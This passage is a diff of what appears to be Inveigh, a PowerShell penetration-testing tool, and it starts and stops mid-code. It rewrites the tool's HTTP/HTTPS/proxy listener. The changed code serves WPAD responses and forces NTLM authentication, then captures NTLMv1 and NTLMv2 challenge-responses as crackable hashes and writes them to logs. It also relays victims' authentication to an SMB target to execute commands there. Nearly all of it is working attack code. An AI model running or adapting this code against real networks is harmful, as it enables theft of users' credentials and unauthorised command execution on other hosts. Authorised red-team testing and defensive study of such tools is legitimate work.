SMB relay failed on $SMBRelayTarget")]) - BREAK SMB_relay_execute_loop - } - $k++ } - $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() + + return $SMB_client_receive } } -# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener +# HTTP/HTTPS/Proxy Server ScriptBlock $HTTP_scriptblock = { - param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$WPADAuth) + param ($Challenge,$Command,$HTTPIP,$HTTPPort,$HTTPResetDelay,$HTTPResetDelayTimeout,$HTTPS_listener,$Proxy,$ProxyIgnore,$proxy_listener,$RelayAutoDisable,$Service,$SMB_version,$Target,$Usernames,$WPADAuth,$WPADAuthIgnore,$WPADResponse) function NTLMChallengeBase64 { + param ([String]$Challenge,[String]$ClientIPAddress,[Int]$ClientPort) $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - if($Inveigh.challenge) + if($Challenge) { - $HTTP_challenge = $Inveigh.challenge - $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge = $Challenge + $HTTP_challenge_bytes = $HTTP_challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } else { - $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} } - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null + $inveigh.HTTP_challenge_queue.Add($ClientIPAddress + $ClientPort + ',' + $HTTP_challenge) > $null $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a + 0x00,0x00,0x00,0x05,0x82,0x89,0xa2 + + $HTTP_challenge_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, + 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, + 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, + 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, + 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, + 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, + 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, + 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, + 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + + $HTTP_timestamp + + 0x00,0x00,0x00,0x00,0x0a,0x0a $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) $NTLM = 'NTLM ' + $NTLM_challenge_base64 $NTLM_challenge = $HTTP_challenge return $NTLM + } + + if($HTTPS_listener) + { + $HTTP_type = "HTTPS" + } + elseif($proxy_listener) + { + $HTTP_type = "Proxy" + } + else + { + $HTTP_type = "HTTP" + } + + if($HTTPIP -ne '0.0.0.0') + { + $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) + $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) + } + + $HTTP_running = $true + $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint + $HTTP_client_close = $true + $relay_step = 0 + + if($proxy_listener) + { + $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) + $HTTP_listener.Server.LingerState = $HTTP_linger + } + + try + { + $HTTP_listener.Start() + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + $HTTP_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + } } - - while ($inveigh.relay_running) + + :HTTP_listener_loop while($inveigh.relay_running -and $HTTP_running) { - $inveigh.context = $inveigh.HTTP_listener.GetContext() - $inveigh.request = $inveigh.context.Request - $inveigh.response = $inveigh.context.Response - $inveigh.message = '' - $NTLM = 'NTLM' + $TCP_request = "" + $TCP_request_bytes = New-Object System.Byte[] 4096 + $HTTP_send = $true + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") + $HTTP_header_cache_control = "" + $HTTP_header_authenticate = "" + $HTTP_header_authenticate_data = "" + $HTTP_message = "" + $HTTP_header_authorization = "" + $HTTP_header_host = "" + $HTTP_header_user_agent = "" + $HTTP_request_raw_URL = "" + $NTLM = "NTLM" - if($inveigh.request.IsSecureConnection) + while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) { - $HTTP_type = "HTTPS" - } - else - { - $HTTP_type = "HTTP" - } - - if ($inveigh.request.RawUrl -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') - { - $inveigh.response.StatusCode = 200 - } - else - { - $inveigh.response.StatusCode = 401 - } + Start-Sleep -m 10 - $HTTP_request_time = Get-Date -format 's' - - if($HTTP_request_time -eq $HTTP_request_time_old -and $inveigh.request.RawUrl -eq $HTTP_request_raw_url_old -and $inveigh.request.RemoteEndpoint.Address -eq $HTTP_request_remote_endpoint_old) - { - $HTTP_raw_url_output = $false - } - else - { - $HTTP_raw_url_output = $true - } - - if(!$inveigh.request.headers["Authorization"] -and $inveigh.HTTP_listener.IsListening -and $HTTP_raw_url_output) - { - $inveigh.console_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) - } - - $HTTP_request_raw_url_old = $inveigh.request.RawUrl - $HTTP_request_remote_endpoint_old = $inveigh.request.RemoteEndpoint.Address - $HTTP_request_time_old = $HTTP_request_time - - [String] $authentication_header = $inveigh.request.headers.getvalues('Authorization') - - if($authentication_header.startswith('NTLM ')) - { - $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $inveigh.response.StatusCode = 401 - - if ($HTTP_request_bytes[8] -eq 1) + if(!$inveigh.relay_running) { - - if($inveigh.SMB_relay -and $inveigh.SMB_relay_active_step -eq 0 -and $inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget) - { - $inveigh.SMB_relay_active_step = 1 - $inveigh.console_queue.Add("$HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address + " at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.console_queue.Add("Grabbing challenge for relay from $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $SMBRelayTarget)]) - $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient - $SMB_relay_socket.Connect($SMBRelayTarget,"445") - - if(!$SMB_relay_socket.connected) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB relay target is not responding") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target is not responding")]) - $inveigh.SMB_relay_active_step = 0 - } - - if($inveigh.SMB_relay_active_step -eq 1) - { - $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes - $inveigh.SMB_relay_active_step = 2 - $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.Length] - $SMB_user_ID = $SMB_relay_bytes[34..33] - $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) - $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" - $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") - $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 - $SMB_domain_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes - $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] - $SMB_target_length = DataLength ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes - $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] - $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] - $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + - $SMB_domain_length_offset_bytes + - 0x05,0x82,0x89,0xa2 + - $SMB_relay_NTLM_challenge + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + - $SMB_target_length_offset_bytes + - $SMB_relay_target_details - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $NTLM_challenge) - $inveigh.console_queue.Add("Received challenge $NTLM_challenge for relay from $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")]) - $inveigh.console_queue.Add("Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.SMB_relay_active_step = 3 - } - else - { - $NTLM = NTLMChallengeBase64 - } - - } - else - { - $NTLM = NTLMChallengeBase64 - } - - $inveigh.response.StatusCode = 401 + break HTTP_listener_loop } - elseif ($HTTP_request_bytes[8] -eq 3) + + } + + if($relay_step -gt 0) + { + $relay_reset++ + + if($relay_reset -gt 2) { - $NTLM = 'NTLM' - $HTTP_NTLM_offset = $HTTP_request_bytes[24] - $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes - [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - - if($HTTP_NTLM_domain_length -eq 0) + $inveigh.console_queue.Add("SMB relay attack resetting") + $SMB_relay_socket.Close() + $relay_step = 0 + + if($inveigh.file_output) { - $HTTP_NTLM_domain_string = '' + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay attack resetting") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay attack resetting") + } + + } + + } + else + { + $relay_reset = 0 + } + + if($HTTPS_listener) + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_clear_stream = $HTTP_client.GetStream() + $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) + $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) + $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) + } + + [byte[]]$SSL_request_bytes = $null + + do + { + $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] + } while ($HTTP_clear_stream.DataAvailable) + + $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) + } + else + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.relay_running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_stream = $HTTP_client.GetStream() + } + + if($HTTP_stream.DataAvailable) + { + $HTTP_data_available = $true + } + else + { + $HTTP_data_available = $false + } + + while($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + } + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + + if($TCP_request -like "*-48-6F-73-74-3A-20-*") + { + $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) + $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) + $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) + } + + if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") + { + $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) + } + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") + } + + if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + } + + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) + } + + if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( + $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + } + else + { + + if($proxy_listener) + { + $HTTP_response_status_code = 0x34,0x30,0x37 + $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 } else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes + { + $HTTP_response_status_code = 0x34,0x30,0x31 + $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + + if($HTTP_request_raw_URL -match '/wpad.dat') + { + $HTTP_reset_delay = $true + $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout + $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + } + + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 + $HTTP_client_close = $false + } - if($HTTP_NTLM_length -eq 24) # NTLMv1 + if($HTTP_header_authorization.StartsWith('NTLM ')) + { + $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' + [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) + + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') { - $NTLM_type = "NTLMv1" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - + + if($inveigh.SMB_relay -and $HTTP_source_IP -ne $Target -and $relay_step -eq 0) + { + if($inveigh.file_output) { - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $Target) } - } - - if($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) - { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) - } - - } - else # NTLMv2 - { - $NTLM_type = "NTLMv2" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) + if($inveigh.log_output) { - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $Target) } - - } + + $inveigh.console_queue.Add("$HTTP_type to SMB relay triggered by $HTTP_source_IP at $(Get-Date -format 's')") + $inveigh.console_queue.Add("Grabbing challenge for relay from $Target") + $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient + $SMB_relay_socket.Client.ReceiveTimeout = 60000 + $SMB_relay_socket.Connect($Target,"445") + $HTTP_client_close = $false + $relay_step = 1 - if ($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) - { - $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address - } - - } - - $inveigh.response.StatusCode = 200 - $NTLM_challenge = '' - $HTTP_raw_url_output = $true - - if ($inveigh.SMB_relay -and $inveigh.SMB_relay_active_step -eq 3) - { - - if(!$SMBRelayUsernames -or $SMBRelayUsernames -contains $HTTP_NTLM_user_string -or $SMBRelayUsernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - - if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))) + if(!$SMB_relay_socket.connected) { + $inveigh.console_queue.Add("SMB relay target is not responding") + $relay_step = 0 - if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") + if($inveigh.file_output) { - - if($NTLM_type -eq 'NTLMv2') - { - $inveigh.console_queue.Add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")]) - $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID - $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.Length] - - if(!$SMB_relay_failed -and [System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq '00-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMB_relay_active_step = 4 - SMBRelayExecute $SMB_relay_socket $SMB_user_ID - } - else - { - $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - 